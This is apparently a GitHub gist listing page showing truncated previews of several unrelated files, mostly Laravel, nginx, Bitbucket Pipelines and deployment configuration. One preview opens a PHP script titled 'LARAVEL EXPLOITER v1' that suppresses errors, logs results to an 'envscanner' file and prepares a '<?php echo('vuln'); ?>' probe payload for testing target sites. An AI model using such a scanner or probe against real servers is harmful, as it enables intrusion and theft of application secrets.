http://docs.aws.amazon.com/IAM/latest/UserGuide/best-practices.html https://www.youtube.com/watch?v=_wiGpBQGCjU
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $(document).ready(function(){ | |
| $("a[href*=\\#]:not([href=\\#])").click(function() { | |
| if (location.pathname.replace(/^\//,'') == this.pathname.replace(/^\//,'') || location.hostname == this.hostname) { | |
| var target = $(this.hash); | |
| target = target.length ? target : $('[name=' + this.hash.slice(1) +']'); | |
| if (target.length) { | |
| $('html, body').animate({ | |
| scrollTop: target.offset().top - 90 }, 1000); | |
| return false; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Bitbucket Pipelines Configuration file | |
| # https://confluence.atlassian.com/bitbucket/configure-bitbucket-pipelines-yml-792298910.html | |
| # options: | |
| # size: 2x | |
| # max-time: 60 | |
| pipelines: | |
| default: | |
| - step: | |
| script: | |
| - echo "This script runs on all branches that don't have any specific pipeline assigned in 'branches'." |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| proxy_cache_path /tmp/cacheapi levels=1:2 keys_zone=microcacheapi:100m max_size=1g inactive=1d use_temp_path=off; | |
| server { | |
| listen 443 ssl http2 default_server; | |
| listen [::]:443 ssl http2 default_server; | |
| server_name example.com; | |
| location /api/ { | |
| # Rate Limiting | |
| limit_req zone=reqlimit burst=20; # Max burst of request |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if ( ! function_exists('config_path')) | |
| { | |
| /** | |
| * Get the configuration path. | |
| * | |
| * @param string $path | |
| * @return string | |
| */ |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| namespace App\Providers; | |
| use Illuminate\Support\Facades\App; | |
| use Illuminate\Support\ServiceProvider; | |
| use Illuminate\Contracts\Filesystem\FileNotFoundException; | |
| class ConfigServiceProvider extends ServiceProvider | |
| { |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| image: atlassian/default-image:2 | |
| definitions: | |
| services: | |
| redis: | |
| image: redis:3.2 | |
| memory: 512 | |
| mysql: | |
| image: mysql:5.7 | |
| environment: |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| # PLACEHOLDERS | |
| # [STAGING_FOLDER] - staging directory in your server | |
| # [STAGING_URL] - staging url | |
| # [STAGING_USER] - staging user in the server | |
| # [STAGING_MYSQLUSER] - staging mysql user | |
| # [STAGING_MYSQLPASSWORD] - staging mysql password | |
| # [ROOTUSER] - Mysql root user | |
| # [ROOTPASSWORD] - Mysql root password |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| error_reporting(0); | |
| #LARAVEL EXPLOITER v1# | |
| # BY FB/www.zeldin.go.id [ SECURITY GHOST ] # | |
| define("SAVED_FILE", "envscanner".uniqid().".txt"); | |
| function test($site, $test = 1){ | |
| switch($test){ | |
| case 1 : | |
| $postFields = "<?php echo('vuln'); ?>"; | |
| break; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| files: | |
| "/opt/elasticbeanstalk/hooks/appdeploy/post/98_make_storage_writable.sh": | |
| mode: "000777" | |
| owner: root | |
| group: root | |
| content: | | |
| #!/usr/bin/env bash | |
| echo "Making /storage writeable..." |
NewerOlder